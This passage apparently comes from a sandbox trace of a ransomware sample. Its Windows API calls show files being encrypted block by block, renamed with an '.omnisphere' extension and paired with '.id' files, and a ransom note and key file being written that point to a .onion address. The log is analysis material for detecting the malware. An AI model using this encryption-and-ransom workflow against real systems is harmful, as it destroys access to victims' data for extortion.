(hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.235] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.235] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.235] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.235] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.235] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.236] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.237] CryptDestroyKey (hKey=0x1639868) returned 1 [0120.237] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0120.237] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x297, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.237] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.237] GetProcessHeap () returned 0x1600000 [0120.237] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b4) returned 0x16bcb10 [0120.237] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h JWuZ SUzT 6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\h jwuz suzt 6.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h JWuZ SUzT 6.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\h jwuz suzt 6.lnk.omnisphere")) returned 1 [0120.239] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h JWuZ SUzT 6.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h JWuZ SUzT 6.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h JWuZ SUzT 6.lnk.omnisphere.id" [0120.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h JWuZ SUzT 6.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\h jwuz suzt 6.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.240] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.241] CloseHandle (hObject=0x3c0) returned 1 [0120.241] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.241] CloseHandle (hObject=0x288) returned 1 [0120.241] SetEndOfFile (hFile=0x28c) returned 1 [0120.241] FlushFileBuffers (hFile=0x28c) returned 1 [0120.247] CloseHandle (hObject=0x28c) returned 1 [0120.247] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h JWuZ SUzT 6.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.247] GetProcessHeap () returned 0x1600000 [0120.247] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16c9018 [0120.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.247] GetProcessHeap () returned 0x1600000 [0120.247] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1c80 [0120.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1c80, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.247] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.247] GetProcessHeap () returned 0x1600000 [0120.248] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0148 [0120.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0148, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.248] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.248] GetProcessHeap () returned 0x1600000 [0120.248] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c00a8 [0120.248] PathCombineW (in: pszDest=0x16c00a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.248] GetProcessHeap () returned 0x1600000 [0120.248] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c5598 [0120.248] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.248] WriteFile (in: hFile=0x28c, lpBuffer=0x16c5598*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c5598*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.248] CloseHandle (hObject=0x28c) returned 1 [0120.248] GetProcessHeap () returned 0x1600000 [0120.248] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c9018 | out: hHeap=0x1600000) returned 1 [0120.248] GetProcessHeap () returned 0x1600000 [0120.248] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e628 [0120.249] PathCombineW (in: pszDest=0x162e628, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.249] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.249] CloseHandle (hObject=0x28c) returned 1 [0120.249] GetProcessHeap () returned 0x1600000 [0120.249] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e628 | out: hHeap=0x1600000) returned 1 [0120.249] GetProcessHeap () returned 0x1600000 [0120.249] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.249] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee6e7d8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ee6e7d8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1ee6e7d8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x0, dwReserved1=0xd3, cFileName="HbXrYaf5k.lnk", cAlternateFileName="HBXRYA~1.LNK")) returned 1 [0120.249] GetProcessHeap () returned 0x1600000 [0120.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x16568c8 [0120.249] PathCombineW (in: pszDest=0x16568c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="HbXrYaf5k.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HbXrYaf5k.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HbXrYaf5k.lnk" [0120.249] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HbXrYaf5k.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hbxryaf5k.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.250] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1192) returned 1 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.250] GetTickCount () returned 0x115e0a8 [0120.251] GetTickCount () returned 0x115e0a8 [0120.251] GetTickCount () returned 0x115e0a8 [0120.251] GetTickCount () returned 0x115e0a8 [0120.251] GetTickCount () returned 0x115e0a8 [0120.251] GetTickCount () returned 0x115e0a8 [0120.251] GetTickCount () returned 0x115e0a8 [0120.251] GetTickCount () returned 0x115e0a8 [0120.251] GetTickCount () returned 0x115e0a8 [0120.251] GetTickCount () returned 0x115e0a8 [0120.251] GetTickCount () returned 0x115e0a8 [0120.251] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ac0) returned 1 [0120.251] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0120.252] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.252] CryptDestroyKey (hKey=0x16396a8) returned 1 [0120.252] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0120.252] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a8, lpName=0x0) returned 0x288 [0120.252] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a8) returned 0x1480000 [0120.252] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668a38) returned 1 [0120.253] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639528) returned 1 [0120.253] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt 